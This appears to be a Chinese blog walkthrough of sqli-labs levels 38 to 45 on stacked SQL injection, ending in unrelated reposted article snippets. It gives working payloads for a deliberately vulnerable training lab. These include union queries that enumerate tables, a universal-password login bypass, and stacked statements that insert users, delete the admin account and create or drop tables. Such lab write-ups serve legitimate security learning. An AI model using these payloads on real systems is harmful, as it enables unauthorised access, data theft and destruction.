sqli-labs靶场详解(less38-less45)

堆叠注入


less-38

less-38

?id=1' and 1=1;%00 成功

?id=1' and 1=2;%00 失败

不是吧 这就出来了?

?id=1' order by 4;%00 报错 4列不行

?id=0' union select 1,2,3;%00 显示位置为2,3

?id=0' union select 1,database(),3;%00 数据库为security

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00  不至于吧 这就出来了 

看源码 

也没啥问题 于是发现这已经到了第三大关了 堆叠注入

搜索教程看看啥叫堆叠注入

搜索资料

例如以下这个例子:
用户输入:?id=1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。

适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入

我们本次尝试的语句:
/?id=1';insert into users(id,username,password) values('100','abc','abc'); --+

去数据库中查看

成功

代码分析

<?php
if(isset($_GET['id'])) //判断id参数是否存在
{
$id=$_GET['id']; //获取id参数
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);//用于连接数据库
if (mysqli_connect_errno($con1))//查看是否连接成功
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();//失败报错
}
else//连接指定security数据库
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//查询语句 注入点
if (mysqli_multi_query($con1, $sql))//一次执行可以执行多条语句 这个函数造成的堆叠注入
{
    if ($result = mysqli_store_result($con1))//将sql语句查询的结果保存到内存中 并返回一个对象
    {
        if($row = mysqli_fetch_row($result))//获取第一行数据
        {
            printf("Your Username is : %s", $row[1]);//第一列数据
            printf("Your Password is : %s", $row[2]);//第二列数据
        }
    }
    if (mysqli_more_results($con1))
    {
    }
}
else 
    {
	print_r(mysqli_error($con1)); 
    }
mysqli_close($con1);
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

less-39

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型注入点

使用堆叠注入

?id=1;insert into users(id,username,password) values('101','abc','abc'); --+

代码分析

和上一关没区别 区别就是对参数的处理一个是整型 一个是单引号字符型


less-40

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

?id=1' 无输出结果 

以上分析 估计就是 无报错函数 为单引号字符型注入点

?id=1') and 1=1;%00 成功

?id=1') and 1=2;%00 失败

代码分析

同理 对参数的处理方式为')


less-41

?id=1' 不显示结果 证明还是和单引号有关

笑死我了 当成字符型试了好久 结果是整型

?id=1 and 1=1 成功

?id=1 and 1=2 无返回结果

和39关一样 就是没有了报错函数


less-42

感觉像二次注入 先不进行抓包 先看看登录界面注册页面都是什么

经过测试 username处是没有注入点的 不能使用二次注入 并且新建一次用户后不让我继续新建用户了 

发现password的位置报错了

&login_password=123' and '1'='1 不报错了估计是单引号 试试堆叠注入

&login_password=123' and '1'='1';insert into users(id,username,password) values('104','abc','abc');

报错函数也ok


less-43

和42关一样 我们这题加入不知道账号密码

该如何做

在密码位置有报错

不报错了 确定注入点了

判断出有3列

通过布尔的方式观察页面 列数不同

页面黑屏 但是并没有显示位置 联合查询不行

依旧是报错注入

但是考察的不是报错注入 而是叠加注入

我们通过报错注入发现有admin账户

使用叠加注入删除

login_user=tzy&login_password=tzy');delete from users where username='admin';--+&mysubmit=Login

admin用户不见了


less-44

采用盲注 无报错 百度搜的教程都是没有判断注入过程的 直接使用叠加注入 

login_user=tzy&login_password=tzy';delete from users where username='admin1';&mysubmit=Login

删除admin1用户


less-45

做到这题我才明白这种题怎么做

首先选择一个经常出现的用户名 采用万能密码登录 

a') OR 1 = 1#   采用万能密码有好处 就是可以确定注入点类型 如果符号引发报错也登录不成功 如果因为符号引发的报错会导致永真的条件失效 从而无法登陆

登陆成功 证明有注入点 接下来使用叠加注入 每次退出重新登陆添加构造的语句 其实都不用万能密码登录 因为 反正后面的sql语句都会执行 前面的执行还是不执行都不影响

a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#

a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#

a') OR 1 = 1;DELETE FROM WhiteMoon;#

a') OR 1 = 1;DROP TABLE WhiteMoon;#

最后发现 多条语句 前一条语句不报错的情况下 才能执行第二条语句

&login_password=tzy;DELETE FROM users WHERE username='admin2'; 不可执行

&login_password=tzy');DELETE FROM users WHERE username='admin2'; 可执行

后端sql语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/206220.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

人工智能 - 目标检测:发展历史、技术全解与实战

目录 一、早期方法&#xff1a;滑动窗口和特征提取滑动窗口机制工作原理 特征提取方法HOG&#xff08;Histogram of Oriented Gradients&#xff09;SIFT&#xff08;Scale-Invariant Feature Transform&#xff09; 二、深度学习的兴起&#xff1a;CNN在目标检测中的应用CNN的…

excel合并单元格教程

在表格里&#xff0c;总是会遇到一级表格、二级表格的区别&#xff0c;这时候一级表格会需要合并成一个大格子&#xff0c;那么excel如何合并单元格呢&#xff0c;其实使用快捷键或者功能键就可以了。 excel如何合并单元格&#xff1a; 1、首先我们用鼠标选中所有要合并的单元…

Vue 和 React 的优点分别是什么?如何选择?

目录 为什么我更喜欢Vue&#xff1f; 低代码平台的前端框架采用Vue的优势有哪些&#xff1f; JNPF-Web-Vue3 的技术栈介绍 &#xff08;1&#xff09;Vue3.x &#xff08;2&#xff09;Vue-router4.x &#xff08;3&#xff09;Vite4.x &#xff08;4&#xff09;Ant-D…

html/css中位置position的绝对位置absolute顺时针盒子案例图片排序

目标图片&#xff1a; Dreamweaver界面&#xff1a; 代码部分&#xff1a; <!doctype html> <html> <head> <meta charset"utf-8"> <title>无标题文档</title> <style type"text/css">.red{background-color:r…

使用gparted进行ubuntu虚拟机的磁盘扩容(解决gparted无法拖动分区的问题)

在学习内核编译下载linux内核源码的时候&#xff0c;由于源码非常大&#xff0c;下载的时候提示磁盘空间不足&#xff0c;我才意识到刚开始创建虚拟机的时候分配了20GB的空间现在已经快用光了。在VM的设置里可以进行扩容&#xff0c;我扩展到了30GB重启却发现空间并没有加到我使…

深信服技术认证“SCSA-S”划重点:SQL注入漏洞

为帮助大家更加系统化地学习网络安全知识&#xff0c;以及更高效地通过深信服安全服务认证工程师考核&#xff0c;深信服特别推出“SCSA-S认证备考秘笈”共十期内容&#xff0c;“考试重点”内容框架&#xff0c;帮助大家快速get重点知识~ 划重点来啦 深信服安全服务认证工程师…

Aria2 开发历程 (4) --使用RPC与 Aria2 进行通讯

结合这段时间搜集到到资料&#xff0c;比较理想的方案是通过RPC(websocket)来与运行时的Aria2&#xff08;必须是运作中&#xff09;进行通讯。 在配置文件和命令行都有RPC的相关配置&#xff1a; 例如:配置文件中的&#xff1a; ## RPC 设置 ### 启用 JSON-RPC/XML-RPC 服务…

C语言之结构体详解

C语言之结构体详解 文章目录 C语言之结构体详解1. 结构体类型的声明2. 结构体变量的创建和初始化3. 结构体的特殊声明4. 结构体的自引用结构体的自引用匿名结构体的自引用 5. 结构体内存对齐5.1 练习一5.2 练习三 6. 为什么存在内存对⻬? 1. 结构体类型的声明 struct tag {me…

【开源威胁情报挖掘2】开源威胁情报融合评价

基于开源信息平台的威胁情报挖掘综述 写在最前面4 开源威胁情报融合评价开源威胁情报的特征与挑战4.1 开源威胁情报数据融合融合处理方法 4.1 开源威胁情报的质量评价4.1.1 一致性分析本体的定义与组成本体构建的层次 4.1.2 去伪去重4.1.3 数据融合分析 4.2 开源威胁情报质量及…

python技术栈之单元测试中mock的使用

什么是mock&#xff1f; mock测试就是在测试过程中&#xff0c;对于某些不容易构造或者不容易获取的对象&#xff0c;用一个虚拟的对象来创建以便测试的测试方法。 mock的作用 特别是开发过程中上下游未完成的工序导致当前无法测试&#xff0c;需要虚拟某些特定对象以便测试…

python爬虫基础知识

使用python进行网络爬虫开发之前&#xff0c;我们要对什么是浏览器、什么HTML&#xff0c;HTML构成。请求URL的方法都有一个大概了解才能更清晰的了解如何进行数据爬取。 什么是浏览器&#xff1f; 网页浏览器&#xff0c;简称为浏览器,是一种用于检索并展示万维网信息资源的…

MJPG-streamer方案实现物联网视频监控

目录 前言 一、JPEG&#xff0c;MJPG格式简介 JPEG MJPG MJPG的优点 MJPG的缺点 二、软硬件准备 三、编译MJPG-streamer 四、运行MJPG-streamer 五、其它常见用法 六、MJPG-streamer 程序框架 七、源码下载 前言 最近想做一个安防相关的项目&#xff0c;所以跟着韦…

Rust的Vec优化

本篇是对Rust编程语言17_Rust的Vec优化[1]学习与记录 MiniVec https://crates.io/crates/minivec enum DataWithVec { // tag,uint64,8字节 I32(i32), // 4字节,但需内存对齐到8字节? F64(f64), // 8字节 Bytes(Vec<u8>), // 24字节}fn main()…

免费SSL证书有效果吗?

首先&#xff0c;我们要明确一点&#xff1a;无论是付费还是免费的SSL证书&#xff0c;它们都能实现基本的HTTPS加密功能&#xff0c;确保数据在客户端和服务器之间的传输过程中不会被窃取或篡改。从这个角度来看&#xff0c;免费SSL证书的确可以提供一定的安全保障。 然而&…

3D点云目标检测:VoxelNex解读

VoxelNext 通用检测器 vs VoxelNext一、3D稀疏卷积模块1.1、额外的两次下采样消融实验结果代码 1.2、稀疏体素删减消融实验&#xff1a;代码 二、稀疏体素高度压缩代码 三、稀疏预测head 通用检测器 vs VoxelNext 一、3D稀疏卷积模块 1.1、额外的两次下采样 使用通用的3D spa…

免费版的水淼采集器下载-水淼采集器详细使用教程

在当今信息爆炸的时代&#xff0c;网络上的数据量庞大&#xff0c;如何高效地采集、整理并利用这些信息成为了许多人关注的问题。水淼采集器作为一种强大的免费工具&#xff0c;在信息搜集的领域扮演着举足轻重的角色。本文将深入探讨水淼采集器的使用以及提供一份简明易懂的教…

dapper+mysql查询报Error parsing column 0 (Id=<null>)

之前的分页接口都是正常的&#xff0c;突然就报错了Error parsing column 0 (Id<null>) {"error": {"code": null,"message": "Error parsing column 0 (Id<null>)","details": "DataException: Error pa…

centos7安装mysql 8.0.31报错Failed to find valid data directory.

报错信息如下&#xff1a; 根据其他博客提示&#xff0c;执行了以下命令&#xff1a; mysqld --initialize --console 日志有新的报错&#xff1a;The designated data directory /var/lib/mysql/ is unusable. Y ou can remove all files that the server added to it. 根据…

【JAVA面向对象编程】--- 探索子类如何继承父类

&#x1f308;个人主页: Aileen_0v0&#x1f525;学习专栏: Java学习系列专栏 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 继承 继承的普通成员方法调用 及 普通成员变量修改 构造方法的调用 子类构造方法 继承 package Inherit;class Animal …

深入了解Java8新特性-日期时间API之TemporalAdjusters与TemporalAdjuster

阅读建议 嗨&#xff0c;伙计&#xff01;刷到这篇文章咱们就是有缘人&#xff0c;在阅读这篇文章前我有一些建议&#xff1a; 本篇文章大概10000多字&#xff0c;预计阅读时间长需要10分钟。本篇文章的实战性、理论性较强&#xff0c;是一篇质量分数较高的技术干货文章&…
最新文章